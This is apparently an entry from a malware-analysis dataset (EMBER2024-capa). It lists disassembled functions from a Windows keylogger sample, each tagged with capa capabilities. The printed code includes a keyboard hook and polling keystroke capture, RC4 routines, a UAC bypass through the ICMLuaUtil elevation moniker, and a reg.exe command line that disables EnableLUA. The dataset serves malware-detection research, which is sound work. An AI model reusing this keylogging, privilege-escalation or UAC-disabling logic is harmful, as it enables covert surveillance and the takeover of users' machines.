joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404cc3
Capabilities:
Create thread

Disassembly:
sub esp, 0x38
and dword [esp + 4], 0
push ebx
push ebp
push esi
mov esi, ecx
lea ecx, [esp + 0x14]
push edi
and dword [esi + 0x54], 0
call fcn.004020df
mov bh, byte [esp + 0x54]
lea eax, [esi + 0x58]
mov edi, dword [esp + 0x4c]
push eax
lea eax, [esp + 0x18]
mov ecx, edi
push eax
call fcn.00401fab
push eax
mov ecx, esi
call fcn.00404efb
test al, al
je 0x404e13
movzx ecx, byte [esi + 0x30]
mov ebp, dword [esp + 0x14]
mov dword [esp + 0x54], ecx
add ebp, ecx
mov ecx, edi
call fcn.0040247c
cmp ebp, eax
jbe 0x404d31
mov ecx, edi
mov bl, 1
call fcn.0040247c
mov ecx, ebp
sub ecx, eax
mov dword [esi + 0x54], ecx
jmp 0x404d33
xor bl, bl
test bl, bl
jne 0x404e13
push 0xffffffffffffffff
push dword [esp + 0x58]
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.004041a2
push eax
lea ecx, [esp + 0x1c]
call fcn.00401fe2
lea ecx, [esp + 0x30]
call fcn.00401fd8
push dword [esp + 0x14]
lea eax, [esp + 0x34]
push 0
push eax
lea ecx, [esp + 0x24]
call fcn.004041a2
push eax
lea ecx, [esp + 0x1c]
call fcn.00401fe2
lea ecx, [esp + 0x30]
call fcn.00401fd8
lea eax, [esp + 0x18]
test bh, bh
jne 0x404da4
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004020f6
push esi
call dword [esp + 0x6c]
add esp, 0x1c
jmp 0x404de1
push eax
lea ecx, [esi + 0xc]
call fcn.00401fc0
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x24], eax
xor eax, eax
push eax
push eax
push esi
push dword [esp + 0x5c]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push ebp
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.004041a2
push eax
mov ecx, edi
call fcn.00401fe2
lea ecx, [esp + 0x30]
call fcn.00401fd8
mov ecx, edi
call fcn.0040247c
test eax, eax
lea eax, [esi + 0x58]
jne 0x404ce9
lea ecx, [esp + 0x18]
call fcn.00401fd8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret 0xc

Function at 0x404f51
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x5c], 0
jne 0x404fea
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
jne 0x404f74
mov byte [esi + 0x7c], 1
jmp 0x404fc0
cmp byte [0x472d48], 0
je 0x404fc0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, edi
lea ecx, [ebp - 0x28]
call fcn.0041bae0
sub esp, 0x18
mov edx, str.KeepAlive______________Enabled__Timeout:
mov ecx, esp
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b441
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.00401fd8
mov dword [esi + 0x74], edi
xor edi, edi
push edi
push edi
push edi
push edi
mov byte [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push edi
push esi
push 0x405150
push edi
push edi
mov dword [esi + 0x60], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
jmp 0x404fec
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x406ccd
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push ebp
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x46d290]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x406cd7
mov ebp, dword [esp + 0x14]
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [esp + 0x18]
movzx eax, byte [edx + ebp]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x406d1d
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x406cfc
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x406d3c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x400
lea eax, [esp]
push ebx
push esi
push edi
push 0x400
push ecx
xor esi, esi
push eax
mov edi, esi
call fcn.00436860
mov edx, dword [esp + 0x420]
add esp, 0xc
mov ebx, esi
add edx, 1
je 0x406dcc
push ebp
mov ebp, dword [esp + 0x414]
inc esi
and esi, 0x800000ff
jns 0x406d82
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [esp + esi*4 + 0x10]
add edi, eax
and edi, 0x800000ff
jns 0x406d98
dec edi
or edi, 0xffffff00
inc edi
mov cl, al
mov eax, dword [esp + edi*4 + 0x10]
mov dword [esp + esi*4 + 0x10], eax
movzx eax, cl
mov dword [esp + edi*4 + 0x10], eax
mov ecx, dword [esp + esi*4 + 0x10]
add ecx, eax
and ecx, 0x800000ff
jns 0x406dbf
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [esp + ecx*4 + 0x10]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, edx
jb 0x406d71
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x400
ret 8

Function at 0x407260
Capabilities:
Terminate process

Disassembly:
xor eax, eax
inc eax
cmp dword [0x4719d0], eax
jne 0x40768a
ret
cmp dword [0x4719d0], 1
jne 0x407697
xor eax, eax
inc eax
ret
push esi
push dword [0x472d44]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 0x4752d8
mov edx, 0x466468
mov ecx, esi
call fcn.004077b7
test al, al
je 0x4076c4
mov ecx, esi
call fcn.00401f04
mov ecx, eax
jmp 0x4076c9
mov ecx, 0x472b38
call fcn.0040766d
pop esi
test eax, eax
jne 0x4076da
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x475320
call fcn.00401fab
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 2
mov dword [0x472d44], eax
pop eax
ret
Function at 0x407270
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, str.ntdll.dll
push edi
push str.RtlInitUnicodeString
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [0x472afc], eax
test eax, eax
jne 0x40729c
xor eax, eax
jmp 0x407305
push str.NtAllocateVirtualMemory
push ebx
call esi
push eax
call edi
mov dword [0x472b00], eax
test eax, eax
je 0x407298
push str.NtFreeVirtualMemory
push ebx
call esi
push eax
call edi
mov dword [0x472b0c], eax
test eax, eax
je 0x407298
push str.RtlAcquirePebLock
push ebx
call esi
push eax
call edi
mov dword [0x472b04], eax
test eax, eax
je 0x407298
push str.RtlReleasePebLock
push ebx
call esi
push eax
call edi
mov dword [0x472b10], eax
test eax, eax
je 0x407298
push str.LdrEnumerateLoadedModules
push ebx
call esi
push eax
call edi
xor ecx, ecx
mov dword [0x472af8], eax
test eax, eax
setne cl
mov eax, ecx
pop edi
pop esi
pop ebx
ret

Function at 0x4074fd
Capabilities:
Bypass uac via icmluautil

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push esi
push edi
push str.___ucmAllocateElevatedObject_n
call fcn.00407200
and dword [ebp - 4], 0
mov edi, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
push edi
mov esi, 0x80004005
call fcn.0043ba26
pop ecx
pop ecx
cmp eax, 0x40
ja 0x4075a0
lea ecx, [ebp - 0x28]
call fcn.00407190
lea eax, [ebp - 0x230]
mov dword [ebp - 0x28], 0x24
push str.Elevation:Administrator_new:
push eax
mov dword [ebp - 0x14], 4
call fcn.0043f759
lea eax, [ebp - 0x230]
push edi
push eax
call fcn.0043f77b
push str.___CoGetObject_n
call fcn.00407200
add esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x466518
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov esi, eax
test esi, esi
je 0x407595
push str.____CoGetObject_FAILURE_n
jmp 0x40759a
push str.___CoGetObject_SUCCESS_n
call fcn.00407200
pop ecx
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
pop edi
mov dword [ecx], eax
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x407755
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push esi
push edi
push 0x44
pop esi
push esi
xor edi, edi
lea eax, [ebp - 0x58]
push edi
push eax
call fcn.00436de0
push 0x10
lea eax, [ebp - 0x10]
mov dword [ebp - 0x58], esi
push edi
push eax
call fcn.00436de0
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push edi
push 0x8000000
push edi
push edi
push edi
push str._k__windir_System32_reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40783c
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x2a0
lea eax, [esp + 0x4c]
lea ecx, [esp + 0x2a4]
push ebx
push ebp
push esi
push eax
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x407886
sub esp, 0x18
lea edx, [esp + 0x2c8]
mov ecx, esp
call fcn.0041bc70
push 0x54
mov ecx, 0x475058
call fcn.00404aa1
jmp 0x40794d
lea ecx, [esp + 0x10]
call fcn.004020df
lea eax, [esp + 0x84]
push eax
lea ecx, [esp + 0x2c]
call fcn.0040417e
mov edx, 0x466528
mov ecx, eax
call fcn.004077b7
lea ecx, [esp + 0x28]
mov bl, al
call fcn.00401f09
mov ebp, 0x250
test bl, bl
je 0x407919
push ebp
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x30]
call fcn.004020b7
push eax
lea ecx, [esp + 0x14]
call fcn.00401fe2
lea ecx, [esp + 0x28]
jmp 0x407914
push ebp
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x48]
call fcn.004020b7
push eax
lea edx, [esp + 0x14]
lea ecx, [esp + 0x2c]
call fcn.00406362
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00401fe2
lea ecx, [esp + 0x28]
call fcn.00401fd8
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea eax, [esp + 0x58]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4078df
sub esp, 0x18
lea eax, [esp + 0x28]
mov ecx, esp
push eax
call fcn.004020f6
push 0x50
mov ecx, 0x475058
call fcn.00404aa1
lea ecx, [esp + 0x10]
call fcn.00401fd8
lea ecx, [esp + 0x2b0]
call fcn.00401f09
pop esi
pop ebp
pop ebx
add esp, 0x2a0
ret
Function at 0x407963
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
mov eax, 0x186e4
call fcn.00457600
push ebx
push ebp
push esi
mov esi, ecx
lea edx, [esp + 0x186fc]
push edi
xorps xmm0, xmm0
mov dword [esp + 0x18], esi
xor ebx, ebx
movlpd qword [esp + 0x10], xmm0
push 0x46652c
lea ecx, [esp + 0x3c]
mov dword [esp + 0x20], ebx
call fcn.0040915b
pop ecx
push eax
lea ecx, [esp + 0x24]
call fcn.00403262
lea ecx, [esp + 0x38]
call fcn.00401f09
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [esp + 0x38]
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
mov eax, dword [esp + 0x186fc]
cmp dword [esp + 0x14], eax
ja 0x407a4c
mov edi, dword [esp + 0x186f8]
jae 0x407a46
push ecx
push 0x186a0
lea eax, [esp + 0x58]
mov ecx, esi
push eax
call fcn.00404b96
mov esi, eax
cdq
add dword [esp + 0x10], eax
lea eax, [esp + 0x1c]
push ebx
adc dword [esp + 0x18], edx
push eax
push esi
lea eax, [esp + 0x5c]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x18
lea eax, [esp + 0x28]
mov ecx, esp
push 8
push eax
call fcn.004020b7
mov ecx, dword [esp + 0x30]
push 0x57
call fcn.00404aa1
test esi, esi
jle 0x407a94
mov eax, dword [esp + 0x186fc]
mov esi, dword [esp + 0x18]
cmp dword [esp + 0x14], eax
jb 0x4079e3
ja 0x407a4c
cmp dword [esp + 0x10], edi
jb 0x4079e3
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18700]
call fcn.00401f04
push eax
lea ecx, [esp + 0x24]
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov bl, 1
lea ecx, [esp + 0x20]
call fcn.00401f09
lea ecx, [esp + 0x18700]
call fcn.00401f09
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 0x186e4
ret
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x20]
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x407a72

Function at 0x407aad
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
mov esi, ecx
call fcn.004020df
lea ecx, [ebp + 8]
call fcn.00401fab
mov edi, eax
jmp 0x407b34
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push eax
call fcn.00441dd1
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.00402093
mov ecx, eax
call fcn.00401fab
push eax
mov edx, esi
lea ecx, [ebp - 0x34]
call fcn.00406c1e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.0040919d
pop ecx
push eax
mov ecx, esi
call fcn.00401fe2
lea ecx, [ebp - 0x1c]
call fcn.00401fd8
lea ecx, [ebp - 0x34]
call fcn.00401fd8
lea ecx, [ebp - 0x4c]
call fcn.00401fd8
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x407ac8
lea ecx, [ebp + 8]
call fcn.00401fd8
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x409ea3
Capabilities:
Get keyboard layout

Disassembly:
sub esp, 0x194
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x1a8]
add ecx, 0x98
push eax
call fcn.00401fc0
xor eax, eax
mov byte [esp + 0x14], al
mov dword [esp + 0x15], eax
mov dword [esp + 0x19], eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
mov ebp, 0x4751a8
mov ecx, ebp
call fcn.0040482d
push ecx
mov ecx, ebp
call fcn.004048c8
push dword [0x475140]
lea ecx, [esp + 0x24]
call fcn.0040417e
push 0x12
mov ecx, 0x4750e4
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov edx, dword [0x47513c]
lea ecx, [esp + 0x188]
mov esi, eax
call fcn.0041bae0
sub esp, 0x18
lea edx, [esp + 0x38]
mov edi, esp
lea ecx, [esp + 0x188]
mov ebx, 0x474ee0
push eax
push ebx
call fcn.0041bc70
push eax
push ebx
lea eax, [esp + 0x1d0]
mov ecx, 0x475158
push eax
push ebx
call fcn.00401f04
mov ecx, eax
call fcn.0041c467
mov edx, eax
lea ecx, [esp + 0x188]
call fcn.0041bae0
mov edx, dword [0x4751a0]
lea ecx, [esp + 0x170]
push eax
push ebx
call fcn.0041bae0
push eax
movzx eax, byte [esi]
lea edx, [esp + 0x50]
push ebx
push eax
push ebx
lea ecx, [esp + 0x170]
call fcn.0040531e
pop ecx
mov edx, eax
lea ecx, [esp + 0x154]
call fcn.0040919d
pop ecx
mov edx, eax
lea ecx, [esp + 0x138]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [esp + 0x11c]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x100]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [esp + 0xe4]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0xc8]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [esp + 0xac]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [esp + 0x90]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.00402f10
pop ecx
mov edx, eax
mov ecx, edi
call fcn.00402ea1
pop ecx
push 0x12
mov ecx, ebp
call fcn.00404aa1
lea ecx, [esp + 0x38]
mov esi, eax
call fcn.00401fd8
lea ecx, [esp + 0x50]
call fcn.00401fd8
lea ecx, [esp + 0x68]
call fcn.00401fd8
lea ecx, [esp + 0x80]
call fcn.00401fd8
lea ecx, [esp + 0x98]
call fcn.00401fd8
lea ecx, [esp + 0xb0]
call fcn.00401fd8
lea ecx, [esp + 0xc8]
call fcn.00401fd8
lea ecx, [esp + 0xe0]
call fcn.00401fd8
lea ecx, [esp + 0xf8]
call fcn.00401fd8
lea ecx, [esp + 0x110]
call fcn.00401fd8
lea ecx, [esp + 0x128]
call fcn.00401fd8
lea ecx, [esp + 0x140]
call fcn.00401fd8
lea ecx, [esp + 0x158]
call fcn.00401fd8
lea ecx, [esp + 0x170]
call fcn.00401fd8
lea ecx, [esp + 0x188]
call fcn.00401fd8
lea ecx, [esp + 0x20]
call fcn.00401f09
lea ecx, [esp + 0x1a8]
call fcn.00401fd8
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x194
ret 0x18
Function at 0x40a179
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea eax, [ebp + 8]
push ebx
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esi + 0x68]
mov byte [esi + 0x49], 1
call fcn.0040b83a
cmp dword [esi + 0x4c], 2
mov edi, str.Offline_Keylogger_Started
je 0x40a1ca
push edi
lea ecx, [esp + 0x14]
call fcn.00402093
sub esp, 0x18
lea edx, [esp + 0x28]
mov ecx, esp
call fcn.0041bbb0
mov ecx, esi
call fcn.0040b0b2
lea ecx, [esp + 0x10]
call fcn.00401fd8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b441
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x30
xor ebx, ebx
push ebx
push ebx
push esi
push 0x40a27d
push ebx
push ebx
call edi
cmp dword [esi], ebx
jne 0x40a210
push ebx
push ebx
push esi
push 0x40a267
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40a289
push ebx
push ebx
call edi
lea ecx, [ebp + 8]
call fcn.00401f09
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18

Function at 0x40a22d
Capabilities:
Create thread

Disassembly:
lea eax, [esp + 4]
mov ecx, 0x475158
push eax
call fcn.0040b83a
cmp byte [0x475139], 0
jne 0x40a25b
xor eax, eax
push eax
push eax
push 0x4750f0
push 0x40a273
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esp + 4]
call fcn.00401f09
ret 0x18

Function at 0x40a2b8
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [0x472b24], esi
cmp dword [esi], edi
jne 0x40a333
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push 0x40a2a4
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
test eax, eax
jne 0x40a333
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [esp + 0xc]
call fcn.0041bae0
sub esp, 0x18
mov edx, str.Keylogger_initialization_failure:_error
mov ecx, esp
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x465f08
call fcn.00402093
call fcn.0041b441
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00401fd8
xor eax, eax
inc eax
jmp 0x40a361
push edi
push edi
push edi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x40a35f
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [esi], edi
jne 0x40a333
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40a3e0
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
push 0x100
lea eax, [ebp - 0x124]
mov ebx, ecx
push 0
push eax
call fcn.00436de0
add esp, 0xc
lea edi, [ebp - 0x22]
xor eax, eax
mov word [ebp - 0x24], ax
push 7
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0x10
mov esi, eax
call dword [sym.imp.USER32.dll_GetKeyState]
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
push 0
push 0x10
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x124]
push eax
push dword [ebx + 0x58]
push dword [ebx + 0x54]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
call fcn.0040417e
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40a5c3
Capabilities:
Get file size

Disassembly:
mov eax, dword [0x4751a0]
or eax, dword [0x4751a4]
push ebx
push esi
push edi
mov esi, ecx
je 0x40a670
xor ebx, ebx
mov byte [esi + 0x39], bl
push ebx
push 0x80
push 3
push ebx
push 7
push closesocket
mov ecx, 0x475158
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40a644
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp ebx, dword [0x4751a4]
jb 0x40a63b
ja 0x40a620
cmp eax, dword [0x4751a0]
jb 0x40a63b
mov byte [esi + 0x39], 1
cmp byte [esi + 0x49], bl
je 0x40a630
mov ecx, esi
call fcn.0040b02a
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40a647
mov byte [esi + 0x39], bl
cmp byte [esi + 0x39], 1
je 0x40a5de
cmp byte [esi + 0x49], bl
jne 0x40a670
cmp dword [0x47513c], 1
jne 0x40a670
sub esp, 0x18
lea eax, [esi + 0x68]
mov ecx, esp
push eax
call fcn.0040905c
mov ecx, esi
call fcn.0040a179
pop edi
pop esi
pop ebx
ret
Function at 0x40a674
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x460
push ebx
push ebp
mov ebx, ecx
push esi
push edi
lea ebp, [ebx + 4]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, ebx
call fcn.0040a5c3
mov edx, 0x466468
mov ecx, ebp
call fcn.004077b7
test al, al
je 0x40a87b
mov ecx, 0x475170
call fcn.00406b28
test al, al
jne 0x40a6d0
push 0
mov ecx, 0x475170
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx + 0x68]
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
je 0x40a6f8
push 0x80
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x12
mov ecx, 0x4750e4
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 0
jne 0x40a73c
push 1
mov ecx, edi
call fcn.00401f04
push eax
mov ecx, ebp
call fcn.0040247c
mov esi, eax
mov ecx, ebp
add esi, esi
call fcn.00401f04
mov edx, esi
mov ecx, eax
call fcn.0041c343
pop ecx
pop ecx
jmp 0x40a847
lea ecx, [esp + 0x10]
call fcn.004020df
mov ecx, 0x475338
call fcn.0040247c
push eax
mov ecx, 0x475338
call fcn.00401fab
push eax
lea ecx, [esp + 0x78]
call fcn.00406cb7
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40a7d3
lea ecx, [esp + 0x28]
call fcn.004020df
mov ecx, edi
call fcn.00401f04
lea edx, [esp + 0x28]
mov ecx, eax
call fcn.0041c3d7
test al, al
je 0x40a7ca
lea ecx, [esp + 0x28]
call fcn.0040247c
push eax
lea ecx, [esp + 0x2c]
call fcn.00401fab
push eax
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x7c]
call fcn.00406dd8
push eax
lea ecx, [esp + 0x14]
call fcn.00401fe2
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea ecx, [esp + 0x28]
call fcn.00401fd8
mov ecx, ebp
call fcn.0040247c
add eax, eax
mov ecx, ebp
push eax
call fcn.00401f04
push eax
lea ecx, [esp + 0x48]
call fcn.004020b7
push eax
lea ecx, [esp + 0x14]
call fcn.00403376
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea ecx, [esp + 0x10]
call fcn.0040247c
push eax
lea ecx, [esp + 0x14]
call fcn.00401fab
push eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x7c]
call fcn.00406dd8
mov ecx, edi
call fcn.00401f04
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.0041c444
lea ecx, [esp + 0x58]
call fcn.00401fd8
lea ecx, [esp + 0x10]
call fcn.00401fd8
push 0x466468
mov ecx, ebp
call fcn.00409057
push 0x13
mov ecx, 0x4750e4
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 0
je 0x40a87b
push 6
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp byte [ebx + 0x49], 0
jne 0x40a689
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret